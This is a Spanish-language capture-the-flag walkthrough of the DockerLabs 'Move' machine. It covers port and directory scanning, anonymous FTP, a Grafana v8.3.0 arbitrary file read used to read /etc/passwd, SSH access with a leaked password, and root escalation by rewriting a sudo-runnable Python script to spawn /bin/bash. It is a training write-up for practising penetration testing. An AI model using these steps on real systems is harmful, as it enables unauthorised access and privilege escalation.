Ir al contenido

Move

En este artículo se documenta la resolución de la máquina virtual Move, diseñada por El Pingüino de Mario y clasificada con un nivel de dificultad fácil. Se aborda de forma estructurada cada etapa del proceso: reconocimiento, explotación y escalada de privilegios.

  • Nombre: Move
  • Autor: El Pingüino de Mario
  • Dificultad: Fácil
  • Fecha de creación: 30/06/2024
  1. Descargamos la máquina desde DockerLabs.

  2. Descomprimimos el archivo:

    Ventana de terminal
    unzip Move.zip
  3. Ejecutamos el script de despliegue:

    Ventana de terminal
    sudo bash auto_deplo.sh Move.tar

Al iniciar la máquina, se muestra directamente su dirección IP, por lo que no es necesario realizar un escaneo ARP.

IP asignada

Configuramos el entorno de trabajo:

Ventana de terminal
mkdir Move
cd Move
mkt # Crea las carpetas: content, exploits, nmap, scripts

Ejecutamos un escaneo de puertos completo con Nmap:

Ventana de terminal
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts

Extraemos los puertos abiertos:

Ventana de terminal
extractPorts allPorts

Puertos abiertos

Puertos detectados:

  • 21 (FTP)
  • 22 (SSH)
  • 80 (HTTP)
  • 3000 (HTTP)

Lanzamos un escaneo específico de servicios:

Ventana de terminal
nmap -sCV -p21,22,80,3000 172.17.0.2 -oN targeted

Servicios detectados

Se permite el acceso anónimo vía FTP. Al conectarnos encontramos un archivo accesible:

ftp-anon

Lo descargamos para su análisis posterior.

Realizamos un escaneo con gobuster:

Ventana de terminal
gobuster dir -u http://172.17.0.2/ \
-w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt \
-x php,html,txt,js -t 200

Gobuster

Rutas detectadas:

  • index.html: página por defecto de Apache.
  • maintenance.html: contiene una pista sobre la ubicación de un archivo. Maintenance

La interfaz en el puerto 3000 corresponde a una instalación de Grafana:

Grafana index

Grafana expone una versión vulnerable (v8.3.0), susceptible a lectura arbitraria de archivos. Buscamos el exploit correspondiente en ExploitDB y lo ejecutamos para comprobar la vulnerabilidad.

Exploit

Se confirma que podemos leer archivos del sistema, como /etc/passwd, donde identificamos al usuario freddy.

Luego, analizamos el archivo encontrado previamente por FTP y referenciado en maintenance.html:

Pass.txt

Este contiene la contraseña de freddy, lo que nos permite acceder vía SSH:

Ventana de terminal
ssh freddy@172.17.0.2

SSH acceso

Ejecutamos:

Ventana de terminal
sudo -l

sudo -l

El usuario freddy puede ejecutar /opt/maintenance.py como superusuario con python3.

Inspeccionamos el archivo para comprobar si es editable:

maintenance.py

Modificamos su contenido para invocar una shell con privilegios de root:

import os
os.system("/bin/bash")

Luego lo ejecutamos:

Ventana de terminal
sudo python3 /opt/maintenance.py

Obtenemos acceso como root:

Root access

La máquina Move combina técnicas clásicas de enumeración y explotación: acceso anónimo vía FTP, explotación de Grafana para lectura de archivos, y escalada mediante un script Python ejecutable como root. Es una máquina ideal para practicar vectores comunes en entornos de red interna y pruebas de post-explotación.